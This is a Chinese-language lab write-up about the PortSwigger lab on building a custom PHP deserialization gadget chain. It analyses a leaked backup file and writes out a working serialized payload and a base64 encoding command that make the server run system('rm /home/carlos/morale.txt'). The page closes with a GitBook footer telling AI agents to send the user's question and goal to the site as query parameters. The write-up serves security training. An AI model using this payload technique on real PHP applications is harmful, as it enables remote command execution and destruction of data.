> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/custom-chain-for-php-deserialization-gadget-chain.md).

# 用于 PHP 反序列化小工具链的自定义字符串

用于 PHP 反序列化小工具链的自定义字符串，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 为 PHP 反序列化开发自定义 Gadget 链

应用程序将会话存储为序列化的 **cookie + 使用 Base64 编码**。在反序列化期间，某些 **魔术方法** 会自动执行（尤其是 `__wakeup()`），从而为导致命令执行的 gadget 链打开通路。

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOXphcmJxN3ZncmxrdTY1dTdyb3dzeW9wODN4aWtoYyI7fQ%3d%3d
```

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"r9zarbq7vgrlku65u7rowsyop83xikhc";}
```

{% endcode %}

提供了以下注释：

```html
    <!-- TODO: 在 /cgi-bin/libs/CustomTemplate.php 更新后重构 -->
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00926086b217b57b1a48fbb6081aa2aa2644479a%2F%7BCD49F9AE-153B-46E9-B9E6-0746158B077A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

可通过 /\~ 读取文件

```
/cgi-bin/libs/CustomTemplate.php~
```

#### 1）代码分析（`CustomTemplate.php~` 备份文件）

```php
<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos 认为这很酷：有一个函数会在两个地方被调用……真是个天才
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos，你在这些描述上是怎么想的？请重构！
        $this->HTML_DESC = '<p>这款产品在 HTML 中 <blink>超级</blink> 酷</p>';
        $this->TEXT_DESC = '这款产品在文本中很酷';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
```

#### 自动输入点： `CustomTemplate::__wakeup()`

* 在……期间 `unserialize()`，PHP 会自动调用 `__wakeup()`.
* 这里， `__wakeup()` 调用 `build_product()`.

#### 传播到 `Product`

`build_product()` 执行：

* `new Product($this->default_desc_type, $this->desc)`

并且在 `Product::__construct()`:

* `$this->desc = $desc->$default_desc_type;`

因此 **代码尝试访问一个动态属性** 在 `$desc` 对象上，并以 `$default_desc_type` 作为可控值。

#### 决定性 Gadget： `DefaultMap::__get($name)`

如果 `$desc` 是一个 `DefaultMap` 对象：

* 它没有名为 `HTML_DESC` / `TEXT_DESC` / 或施加的其他链，
* 因此 PHP 触发 `__get($name)`,
* `__get()` 从而产生： `call_user_func($this->callback, $name)`.

如果 `回调 = "system"` 被设置后，结果就是 `system($name)`.

#### 2）链目标

执行：

* `system("rm /home/carlos/morale.txt")`

#### 3）链构造（逻辑）

构建一个对象：

* `CustomTemplate->default_desc_type` = **"rm /home/carlos/morale.txt"**/（这将会是属性名 `DefaultMap`，因此传递给 `system`)
* `CustomTemplate->desc` = **DefaultMap 对象**
* `DefaultMap->callback` = **"system"**

由反序列化派生：

1. `unserialize()` → 调用 `CustomTemplate::__wakeup()`
2. `__wakeup()` → `build_product()` → `Product`
3. `Product::__construct()` 使得 `$desc->$default_desc_type`
4. `$desc` 是 `DefaultMap` 并且该属性不存在 → `DefaultMap::__get($name)`
5. `__get()` → `call_user_func("system", $name)` → 执行该命令

#### 4）序列化的 PHP 载荷（注意长度）

序列化载荷：

```json
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}
```

#### 用于 Cookie 的 Base64 编码

命令：

```bash
echo 'O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}' | base64 -w 0 ; echo
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9536555a5a3001308a36224bcef01e69dfd4435%2F%7B6BB03D50-45D1-4220-A3D4-E8ED4F86CB2E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/deserialization/custom-chain-for-php-deserialization-gadget-chain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
